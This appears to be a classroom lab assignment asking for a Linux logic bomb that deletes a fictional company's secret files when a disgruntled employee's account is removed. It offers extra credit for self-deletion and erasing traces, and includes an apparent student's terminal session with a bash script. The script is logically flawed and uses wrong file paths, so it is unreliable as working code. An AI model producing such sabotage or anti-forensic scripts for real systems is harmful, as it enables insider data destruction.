Rami Patel is a disgruntled user of FakeCorp who senses he may be fired soon.  He wants you to create a Logic Bomb for him that will delete the company's secret documents in the event he is terminated.

1.  In Linux, create a directory off of /var called secretdocs.  So the path should be /var/secretdocs.

2.  Create two text files in that folder called companysecrets and companyexpenses.

3.  Create a user named rpatel.

4.  Create a basic logic bomb in Linux with a bash script that deletes the contents of the /var/secretdocs folder if the rpatel user is deleted.

5.  Test your script by deleting the rpatel user and ensuring that the two files in /var/secretdocs are deleted.

Copy and paste your working bash script code into the answer section to complete this question.

(5 pts extra credit if you can include functionality to delete the Logic Bomb script after execution and delete any traces of the script executing.)

root@448k-01:~# cd /var

root@448k-01:/var# mkdir secretdocs

root@448k-01:/var# cd secretdocs

root@448k-01:/var/secretdocs# touch companysecrets.txt

root@448k-01:/var/secretdocs# touch companyexpenses.txt

root@448k-01:/var/secretdocs# ls

companysecrets.txt companyexpenses.txt

root@448k-01:/var/secretdocs# cd ~

root@448k-01:~# useradd rpatel

root@448k-01:~# passwd rpatel

Enter new UNIX password:

Retype new UNIX password:

passwd:password upadted successfully

root@448k-01:~# grep rpatel /etc/passwd

rpatel :x:1000:1000::/home/rpatel:/bin/sh

root@448k-01:~#vi bomb.sh

#!/bin/sh

#This is a logic bomb  
if userdel rpatel

    then rm companysecrets.txt companyexpenses.txt

fi

root@448k-01:~#chmod u+x bomb.sh

root@448k-01:./bomb.sh

root@448k-01:userdel rpatel